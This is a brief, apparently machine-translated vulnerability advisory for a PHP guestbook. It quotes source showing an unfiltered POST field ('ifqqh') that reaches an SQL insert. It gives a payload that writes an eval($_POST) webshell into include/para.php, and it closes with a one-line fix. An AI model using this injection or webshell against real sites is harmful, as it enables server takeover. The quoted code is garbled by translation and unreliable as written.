The xunjie network message book (formerly a lot of message books) injects vulnerabilities and uses webshells (including fixes) in the background)

: Www.2cto.com/ym/201511/28037.html

Add. php
<? Php
If ($ _ POST ['unum'] ==$ _ SESSION ["randValid"]) {
$ Username = addslashes (htmlspecialchars ($ _ POST ['username']);
$ Email = addslashes (htmlspecialchars ($ _ POST ['email ']);
$ Content = addslashes (htmlspecialchars ($ _ POST ['content']);
$ Userip = $ _ SERVER ["REMOTE_ADDR"];
$ Ifqqh = $ _ POST ["ifqqh"];
If (empty ($ ifqqh) $ ifqqh = 0;
$ Required IME = date ("Y-m-d H: I: s ");
If (! Empty ($ content) or! Empty ($ username )){
$ Ifshow = ""; // restore space and press ENTER
If (! Empty ($ content )){
$ Content = str_replace ("", "", $ content );
$ Content = ereg_replace ("\ n", "<br>", ereg_replace ("
}
If ($ ifauditing = 1) {$ ifshow = 0;} else {$ ifshow = 1;} // restore ends
$ SQL = "insert ". TABLE_PREFIX. "guestbook (username, email, content, userip, systime, ifshow, ifqqh) values ('". $ username. "','". $ email. "','". $ content. "','". $ userip. "','". $ policime. "',". $ ifshow. ",". $ ifqqh. ")";
// Echo $ SQL;

$ Ifqqh = $ _ POST ["ifqqh"]; no filtering .......

$ SQL = "insert ". TABLE_PREFIX. "guestbook (username, email, content, userip, systime, ifshow, ifqqh) values ('". $ username. "','". $ email. "','". $ content. "','". $ userip. "','". $ policime. "',". $ ifshow. ",". $ ifqqh. ")"; $ ifqqh is not included in. Not Affected by magic_quotes_gpc

Enter the background

Admin_set.php
// Write the para file
$ Filenum = fopen ("include/para. php", "w ");
Ftruncate ($ filenum, 0 );
Fwrite ($ filenum, $ parafile );
Fclose ($ filenum );
Echo "Settings saved. Please wait ...... <Br> <a href = ". $ pageUrl."> If the browser does not return automatically, click here to return </a> ";
Echo "<meta http-equiv = \" refresh \ "content = \" 2; url = ". $ pageUrl." \ "> ";
?>

Can write include/para. php
Write 44'; eval ($ _ POST [k ]);

Because 'include
Affected by magic_quotes_gpc

Solution: www.2cto.com: Filter $ ifqqh =$ _ POST ["ifqqh"];